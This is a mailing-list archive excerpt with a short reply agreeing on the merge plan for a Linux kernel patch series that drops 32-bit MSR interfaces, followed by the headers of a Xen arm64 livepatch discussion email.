X-Gm-Message-State: AOJu0YzHD/4Jz4pIFI+wVyG5gHaJ5j/lrI0R1X+r6LJubcOUpe4UZ6yU
	q3xcXSRgjfAOhAU2/2XdVjuJMsTeQ8jWiB5W/2SzaLdqkhGJCoG5rtvaRPOEwsTSpfs=
X-Gm-Gg: AfdE7clWUCAxahRQq0cpzEl8GzO8UCsgNT2a3moVaIEZ2iG2aBWcC/Mb9ixktFCh3Ei
	QHyaJh5fvUYueG6ckxGuA7UmQOOc+w0WG3ej8BPuUNunsXptDtiOvUkCKG6M/GWfvR6Eh8ZJfSA
	qPy3aTq3cazhXDJPUlWq4NJUFDYXgCzmp3Og6LpenaAXYXItTkJkq7PlAjpoZ56EGeXsXAWUqgT
	+QhaOXkUDKCqmhr0ROVHEVCTh4vVhBPPtnDhauikoPLqfeb4Sv2lq/QXcGvhEGObDu1+mGidwxn
	TM2NZ/y2d548TmafFXTqGXjrLDF5CYDIn2Dbh87NBdGodEolQqK7fBYT8RvHtShL9w1CaI6AjNg
	f3wPCeW/LbsCqySdsrh4b3kVP6MEVG7OFIg0xdkgcpA8I0ecUlFbHw8Vx02E+RT3pmpQUgwPgek
	7kLa3bS8E2lTzLU5fekNu3+0AM7dAUGtRnD7anY5GlindX14ISSLajzGNlkHjUl3El37pblxHQT
	nFPqC8ogHdoNEl0IHseYl/PD5764Y47LaTE97ucsM7lYCFzQMwsrw==
X-Received: by 2002:a05:6402:4146:b0:698:99be:29d6 with SMTP id 4fb4d7f45d1cf-6989f38e868mr343446a12.29.1782894809526;
        Wed, 01 Jul 2026 01:33:29 -0700 (PDT)
Message-ID: <0c5e4515-b51e-4b19-8389-a76cabc88042@suse.com>
Date: Wed, 1 Jul 2026 10:33:27 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 00/32] x86/msr: Drop 32-bit MSR interfaces
To: Sean Christopherson <seanjc@google.com>, Ingo Molnar <mingo@kernel.org>
Cc: Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org,
 linux-pm@vger.kernel.org,
 "linux-edac@vger.kernel.org" <linux-edac@vger.kernel.org>, x86@kernel.org,
 linux-acpi@vger.kernel.org, kvm@vger.kernel.org, linux-coco@lists.linux.dev,
 linux-pci@vger.kernel.org, virtualization@lists.linux.dev,
 linux-ide@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-fbdev@vger.kernel.org, linux-crypto@vger.kernel.org,
 "open list:GPIO SUBSYSTEM" <linux-gpio@vger.kernel.org>,
 linux-hyperv@vger.kernel.org, linux-hwmon@vger.kernel.org,
 linux-perf-users@vger.kernel.org, linux-mtd@lists.infradead.org,
 platform-driver-x86@vger.kernel.org, "Rafael J . Wysocki"
 <rafael@kernel.org>, Daniel Lezcano <daniel.lezcano@kernel.org>,
 Zhang Rui <rui.zhang@intel.com>, "lukasz.luba@arm.com"
 <lukasz.luba@arm.com>, Jason Baron <jbaron@akamai.com>,
 Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>,
 Yazen Ghannam <yazen.ghannam@amd.com>, Len Brown <lenb@kernel.org>,
 Pavel Machek <pavel@kernel.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>, Dave Hansen <dave.hansen@linux.intel.com>,
 "H. Peter Anvin" <hpa@zytor.com>, Paolo Bonzini <pbonzini@redhat.com>,
 "Kirill A. Shutemov" <kas@kernel.org>,
 Rick Edgecombe <rick.p.edgecombe@intel.com>, Pu Wen <puwen@hygon.cn>,
 Bjorn Helgaas <bhelgaas@google.com>, Ajay Kaher <ajay.kaher@broadcom.com>,
 Alexey Makhalov <alexey.makhalov@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Viresh Kumar <viresh.kumar@linaro.org>,
 Reinette Chatre <reinette.chatre@intel.com>,
 Dave Martin <Dave.Martin@arm.com>, James Morse <james.morse@arm.com>,
 Babu Moger <babu.moger@amd.com>, Tony W Wang-oc <TonyWWang-oc@zhaoxin.com>,
 Damien Le Moal <dlemoal@kernel.org>, Niklas Cassel <cassel@kernel.org>,
 Dave Airlie <airlied@redhat.com>, Helge Deller <deller@gmx.de>,
 linux-geode@lists.infradead.org, Olivia Mackall <olivia@selenic.com>,
 Herbert Xu <herbert@gondor.apana.org.au>, Linus Walleij <linusw@kernel.org>,
 Bartosz Golaszewski <brgl@kernel.org>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "K. Y. Srinivasan" <kys@microsoft.com>,
 Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>,
 Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>,
 Guenter Roeck <linux@roeck-us.net>, Peter Zijlstra <peterz@infradead.org>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, Mark Rutland <mark.rutland@arm.com>,
 Alexander Shishkin <alexander.shishkin@linux.intel.com>,
 Jiri Olsa <jolsa@kernel.org>, Ian Rogers <irogers@google.com>,
 Adrian Hunter <adrian.hunter@intel.com>, James Clark
 <james.clark@linaro.org>, Josh Poimboeuf <jpoimboe@kernel.org>,
 Pawan Gupta <pawan.kumar.gupta@linux.intel.com>,
 Vitaly Kuznetsov <vkuznets@redhat.com>, Andy Lutomirski <luto@kernel.org>,
 Boris Ostrovsky <boris.ostrovsky@oracle.com>, Huang Rui <ray.huang@amd.com>,
 Mario Limonciello <mario.limonciello@amd.com>,
 Perry Yuan <perry.yuan@amd.com>, K Prateek Nayak <kprateek.nayak@amd.com>,
 "srinivas.pandruvada@linux.intel.com" <srinivas.pandruvada@linux.intel.com>,
 Artem Bityutskiy <artem.bityutskiy@linux.intel.com>,
 Artem Bityutskiy <dedekind1@gmail.com>,
 Miquel Raynal <miquel.raynal@bootlin.com>,
 Richard Weinberger <richard@nod.at>, Vignesh Raghavendra <vigneshr@ti.com>,
 Ashok Raj <ashok.raj.linux@gmail.com>, Hans de Goede <hansg@kernel.org>,
 =?UTF-8?Q?Ilpo_J=C3=A4rvinen?= <ilpo.jarvinen@linux.intel.com>,
 Rajneesh Bhardwaj <irenic.rajneesh@gmail.com>,
 David E Box <david.e.box@intel.com>, xen-devel@lists.xenproject.org
References: <20260629060526.3638272-1-jgross@suse.com>
 <d7c1db52-529a-43cc-ac7d-38b52627e8bc@app.fastmail.com>
 <c1608c48-13c2-4290-826b-28b5ca51eaf7@suse.com>
 <7332feff-2649-496c-8e49-b0a19eb54a32@app.fastmail.com>
 <akJUz0kYkEBdLSZ3@gmail.com> <akQR9YMtMHReJTfB@google.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <akQR9YMtMHReJTfB@google.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------yR0aQa1Dp38FRBSVbM28PBR6"
X-purgate-ID: tlsNG-16d1c6/1782894810-C5D3D68D-E7E04925/0/0
X-purgate-type: clean
X-purgate-size: 11660

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------yR0aQa1Dp38FRBSVbM28PBR6
Content-Type: multipart/mixed; boundary="------------vD8700IqVizDT0GQTpFiBkTP";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Sean Christopherson <seanjc@google.com>, Ingo Molnar <mingo@kernel.org>
Cc: Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org,
 linux-pm@vger.kernel.org,
 "linux-edac@vger.kernel.org" <linux-edac@vger.kernel.org>, x86@kernel.org,
 linux-acpi@vger.kernel.org, kvm@vger.kernel.org, linux-coco@lists.linux.dev,
 linux-pci@vger.kernel.org, virtualization@lists.linux.dev,
 linux-ide@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-fbdev@vger.kernel.org, linux-crypto@vger.kernel.org,
 "open list:GPIO SUBSYSTEM" <linux-gpio@vger.kernel.org>,
 linux-hyperv@vger.kernel.org, linux-hwmon@vger.kernel.org,
 linux-perf-users@vger.kernel.org, linux-mtd@lists.infradead.org,
 platform-driver-x86@vger.kernel.org, "Rafael J . Wysocki"
 <rafael@kernel.org>, Daniel Lezcano <daniel.lezcano@kernel.org>,
 Zhang Rui <rui.zhang@intel.com>, "lukasz.luba@arm.com"
 <lukasz.luba@arm.com>, Jason Baron <jbaron@akamai.com>,
 Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>,
 Yazen Ghannam <yazen.ghannam@amd.com>, Len Brown <lenb@kernel.org>,
 Pavel Machek <pavel@kernel.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>, Dave Hansen <dave.hansen@linux.intel.com>,
 "H. Peter Anvin" <hpa@zytor.com>, Paolo Bonzini <pbonzini@redhat.com>,
 "Kirill A. Shutemov" <kas@kernel.org>,
 Rick Edgecombe <rick.p.edgecombe@intel.com>, Pu Wen <puwen@hygon.cn>,
 Bjorn Helgaas <bhelgaas@google.com>, Ajay Kaher <ajay.kaher@broadcom.com>,
 Alexey Makhalov <alexey.makhalov@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Viresh Kumar <viresh.kumar@linaro.org>,
 Reinette Chatre <reinette.chatre@intel.com>,
 Dave Martin <Dave.Martin@arm.com>, James Morse <james.morse@arm.com>,
 Babu Moger <babu.moger@amd.com>, Tony W Wang-oc <TonyWWang-oc@zhaoxin.com>,
 Damien Le Moal <dlemoal@kernel.org>, Niklas Cassel <cassel@kernel.org>,
 Dave Airlie <airlied@redhat.com>, Helge Deller <deller@gmx.de>,
 linux-geode@lists.infradead.org, Olivia Mackall <olivia@selenic.com>,
 Herbert Xu <herbert@gondor.apana.org.au>, Linus Walleij <linusw@kernel.org>,
 Bartosz Golaszewski <brgl@kernel.org>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "K. Y. Srinivasan" <kys@microsoft.com>,
 Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>,
 Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>,
 Guenter Roeck <linux@roeck-us.net>, Peter Zijlstra <peterz@infradead.org>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, Mark Rutland <mark.rutland@arm.com>,
 Alexander Shishkin <alexander.shishkin@linux.intel.com>,
 Jiri Olsa <jolsa@kernel.org>, Ian Rogers <irogers@google.com>,
 Adrian Hunter <adrian.hunter@intel.com>, James Clark
 <james.clark@linaro.org>, Josh Poimboeuf <jpoimboe@kernel.org>,
 Pawan Gupta <pawan.kumar.gupta@linux.intel.com>,
 Vitaly Kuznetsov <vkuznets@redhat.com>, Andy Lutomirski <luto@kernel.org>,
 Boris Ostrovsky <boris.ostrovsky@oracle.com>, Huang Rui <ray.huang@amd.com>,
 Mario Limonciello <mario.limonciello@amd.com>,
 Perry Yuan <perry.yuan@amd.com>, K Prateek Nayak <kprateek.nayak@amd.com>,
 "srinivas.pandruvada@linux.intel.com" <srinivas.pandruvada@linux.intel.com>,
 Artem Bityutskiy <artem.bityutskiy@linux.intel.com>,
 Artem Bityutskiy <dedekind1@gmail.com>,
 Miquel Raynal <miquel.raynal@bootlin.com>,
 Richard Weinberger <richard@nod.at>, Vignesh Raghavendra <vigneshr@ti.com>,
 Ashok Raj <ashok.raj.linux@gmail.com>, Hans de Goede <hansg@kernel.org>,
 =?UTF-8?Q?Ilpo_J=C3=A4rvinen?= <ilpo.jarvinen@linux.intel.com>,
 Rajneesh Bhardwaj <irenic.rajneesh@gmail.com>,
 David E Box <david.e.box@intel.com>, xen-devel@lists.xenproject.org
Message-ID: <0c5e4515-b51e-4b19-8389-a76cabc88042@suse.com>
Subject: Re: [PATCH 00/32] x86/msr: Drop 32-bit MSR interfaces
References: <20260629060526.3638272-1-jgross@suse.com>
 <d7c1db52-529a-43cc-ac7d-38b52627e8bc@app.fastmail.com>
 <c1608c48-13c2-4290-826b-28b5ca51eaf7@suse.com>
 <7332feff-2649-496c-8e49-b0a19eb54a32@app.fastmail.com>
 <akJUz0kYkEBdLSZ3@gmail.com> <akQR9YMtMHReJTfB@google.com>
In-Reply-To: <akQR9YMtMHReJTfB@google.com>

--------------vD8700IqVizDT0GQTpFiBkTP
Content-Type: multipart/mixed; boundary="------------jBK7pBe03sqwPCAFbkx06T5B"

--------------jBK7pBe03sqwPCAFbkx06T5B
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMzAuMDYuMjYgMjA6NTksIFNlYW4gQ2hyaXN0b3BoZXJzb24gd3JvdGU6DQo+IE9uIE1v
biwgSnVuIDI5LCAyMDI2LCBJbmdvIE1vbG5hciB3cm90ZToNCj4+ICogQXJuZCBCZXJnbWFu
biA8YXJuZEBhcm5kYi5kZT4gd3JvdGU6DQo+Pg0KPj4+Pj4+IE5vdGUgdGhhdCBtb3N0IHBh
dGNoZXMgb2YgdGhpcyBzZXJpZXMgYXJlIGluZGVwZW5kZW50IGZyb20gZWFjaCBvdGhlci4N
Cj4+Pj4+PiBPbmx5IHRoZSBwYXRjaGVzIHJlbW92aW5nIGEgc3BlY2lmaWMgaW50ZXJmYWNl
IChwYXRjaGVzIDcsIDE1LCAyNiBh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9uZQ0KPj4gaW4gaXNvbGF0aW9uICh3aGljaCBz
b21ldGltZXMgaW5jbHVkZSBtaW5vciBjbGVhbnVwcyksIHdoaWxlDQo+PiB0aGUgQ29jY2lu
ZWxsZSBzZW1hbnRpYyBwYXRjaDoNCj4+DQo+PiAgICAgeyBhKGIsYykgPT4gYyA9IGEoYikg
fQ0KPj4NCj4+IHdoaWNoIGNoYW5nZXMgYm90aCB0aGUgZnVuY3Rpb24gc2lnbmF0dXJlIGFu
ZCB0aGUgb3JkZXIgb2YgdGVybXMgYXMNCj4+IHdlbGwsIGlzIGp1c3QgYSBzaW5nbGUgYWRk
LW9uIHRyZWV3aWRlIHBhdGNoLg0KPiANCj4gSXMgdGhlIHBsYW4gZm9yIHN1YnN5c3RlbSBt
YWludGFpbmVycyB0byBwaWNrIHVwIHRoZSByZWxldmFudCBwYXRjaGVzLCBhbmQgdGhlbg0K
PiBkbyB0aGUgdHJlZXdpZGUgY2hhbmdlIG9uZSByZWxlYXNlIGN5Y2xlIGxhdGVyPw0KDQpZ
ZXMsIHBsZWFzZS4NCg0KDQpKdWVyZ2VuDQo=
--------------jBK7pBe03sqwPCAFbkx06T5B
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxX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AY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------jBK7pBe03sqwPCAFbkx06T5B--

--------------vD8700IqVizDT0GQTpFiBkTP--

--------------yR0aQa1Dp38FRBSVbM28PBR6
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpE0NcFAwAAAAAACgkQsN6d1ii/Ey+4
VQf5ARTTFZkvO/RB1pgLA5pxpW3UUS3uxxV7SopNU0hZc/AzNq9az9lJfyH7jPZ8QBmU9IKulebG
ITlyXQQs6UjK+gdS9lqvVR/gt7jXQo56BFaXUZQwHSt8ln7k9LhUmdEaBj2m305DZnpb9SGilWTg
FU/0xAyiM++MkxazBUebIsHavKxiZg3dIjZQ6L7GCivFopHxm59Fg0dv+E0OzaQGPmtrz/oR7sNP
AkYiOzz84cF2fQXnHTlKAU02RMhfJ2YDp/KAdwPaf1hFwAZsNFL3usH2Ku34Q0ARJoRpUockNhfc
G3t+JspAVbLH9NBe6jFF+6eWh86FKPsmtwZt0e9tvQ==
=ng7t
-----END PGP SIGNATURE-----

--------------yR0aQa1Dp38FRBSVbM28PBR6--


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 09:09:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 09:09:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349625.1607310 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weqwY-0001AO-HQ; Wed, 01 Jul 2026 09:09:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349625.1607310; Wed, 01 Jul 2026 09:09:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weqwY-0001AH-E9; Wed, 01 Jul 2026 09:09:18 +0000
Received: by outflank-mailman (input) for mailman id 1349625;
 Wed, 01 Jul 2026 09:09:17 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <takakura@valinux.co.jp>) id 1weqwW-0001A9-CP
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:09:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1weqwV-003ivO-2a
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:09:15 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <takakura@valinux.co.jp>)
 id 6a44d931-bab6-0a2a0a5309dd-0a2a4508d926-38
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:09:14 +0200
Received: from [52.101.229.79]
 (helo=TY3P286CU002.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <takakura@valinux.co.jp>)
 id 6a44d938-edec-0a2a45080019-3465e54fd3b1-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:09:14 +0200
Received: from TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:30e::6)
 by OS7P286MB5474.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:398::10) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 1 Jul 2026
 09:09:09 +0000
Received: from TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM
 ([fe80::a377:45d3:a376:f515]) by TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM
 ([fe80::a377:45d3:a376:f515%3]) with mapi id 15.21.0181.008; Wed, 1 Jul 2026
 09:09:09 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-Id:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=AChEHSED0qwvNe9Hj5P+9lF8hpcZu/yUI3CSKFi2dtXLxd8Zt8Z6eWL1CU618cpmmi1ujra5+Fvt1waJMxJ4u60KChhmyGwEwudHT+If5Y9vWAC291nvYXVWcxZL7BPosTF8VB+vyN1/eKukyhK0reRKOuv3FNhJ5NoWLhKpVXkpJCvmx1Uxwehi8Y615M6/BAArXZJGNtKLYBdEhSmPEDJRxgNa0K3prmfaVKjIks1WA9qsKD5Dhj+/T18Mc3y2Fb5kdLYkSKon5ylLUvjdWyAP+zZWHE1Ib2XjS3+ucNH2YGbcRJOCOEn7hPA5cRzh/9C0RIxSJXgXEKESO6IS9w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=X7eThDqmoZ82RG4QueS3fK1meunY7Ib+jRa572ZdCK0=;
 b=r0xsZ58OaK/5AhjOzEQhMnjiqJ28tNMxXIqHNTQuAdhBLJI4s9zwRz+QXouU/ttvGcAo/9Xs7sHWHNUqlVX2XlceeNn4R7O8W8YwpSTax5j+imzzTbrs7tjwcq9s7BBIdeFAx5IcgL5hd4V3hZf5ljPG/aMFW+T+OWvXoBzWGwUhl8hh2mdqVsolCSudZRtNScl6p2Da6JECv7ng+NEKfOfrC4vcszEvHGvvVEr0WDUEVTkVrLndiPDc6Bw1NXElAiW94k0Cb71jfeNcjcYV9LJ1A5f31f7d7tw8aJtr4LDPMP5qlaSa9FCvCLzIl6DqeeE9xSqp93DLs6/FSEyQBw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=X7eThDqmoZ82RG4QueS3fK1meunY7Ib+jRa572ZdCK0=;
 b=O5w3a4NYfn+tyvpyMoZMh7x2GvDi5ckpEHKFBHEzPk8QEAHyvbYYOUUMC5hojvJspokMEUUvBcYJn5rRlrGhRVSNBXzXUO4gQTYnXU2jLLbKTqfGBswAo77+4TvfW0xNmLyFZ34i5wffFCWzKd9OjiVhZPixJ5gzZNNyLNvuxWw=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Ryo Takakura <takakura@valinux.co.jp>
To: andrew.cooper3@citrix.com,
	roger.pau@citrix.com
Cc: xen-devel@lists.xenproject.org,
	ross.lagerwall@citrix.com,
	sstabellini@kernel.org,
	julien@xen.org,
	bertrand.marquis@arm.com,
	michal.orzel@amd.com,
	Volodymyr_Babchuk@epam.com,
	anthony.perard@vates.tech,
	jbeulich@suse.com,
	taka@valinux.co.jp,
	den@valinux.co.jp
Subject: Re: [RFC] xen/arm64: livepatch: enable attaching callbacks
Date: Wed,  1 Jul 2026 18:09:08 +0900
Message-Id: <20260701090908.15204-1-takakura@valinux.co.jp>
X-Mailer: git-send-email 2.34.1
In-Reply-To: <akOCgoqbGhZbjcQx@macbook.local>
References: <akOCgoqbGhZbjcQx@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: TY4P301CA0054.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:36b::14) To TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:30e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: TYYP286MB2946:EE_|OS7P286MB5474:EE_
X-MS-Office365-Filtering-Correlation-Id: c7fd92e2-50fa-4545-6768-08ded750691a
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|7416014|23010399003|3023799007|6133799003|56012099006|5023799004|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	3Ysr9j7mrAyrlgR9WlWqu3qCx8k+/hhD1TJJdPAI5lt+CqW7NDJeL1aCcXN8kP9h0DdyC4NuLZiGmeu8C0FeMKGHlnvGnfuQa7fhzNGs5p28JXUXBAaNwkHQByoxJDtlu3QnDt/4jJ2Wf7sRoQoErrnEercVP2KxzdIVrYFz9Pn6f8wtJhkwYpb0N/bMmg2qXfUxOS6iX9/69+2tyTTB3WjX0hEpnaM8bCb13qUiSlkLfgOTPkODVqr5JVPya+w2OmlXus4gvZ7gpI8CJKWhBdN8js7xMrj+c8e5e3JbBRR6a9J0NqnvLm4DB5kuWx9kfua2q4qz7Q9URyE+mXzIEQd1KmWdmXzgPPdmWH+Jywc3JAG/FSxVL03Vhep0cF4D/TCi4HkTahNJTEVOrhyyM47uyNlBPAuPOBz7a3jvyhSbexesKrwMNxkmyIbRnyo135e49RHBqKLrIBc41Q8NDz/dBZ4Ik+I88F4aTyRxMb2FZ64W26NZB7lgZD0UR3ALKguWpi4YdWKITMjCIYFmZBuhvVvVaWyvX7Ge8QLqVsyaBabVv9yB52+B9zGVV6MgEXxmwlNnDMi7I4Pp858MGlNIzzgqEEpZNRLE9Dfc401sXpq/fz20i67JdjHd9Dhk
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(7416014)(23010399003)(3023799007)(6133799003)(56012099006)(5023799004)(18002099003)(22082099003);DIR:OUT;SFP:1102;
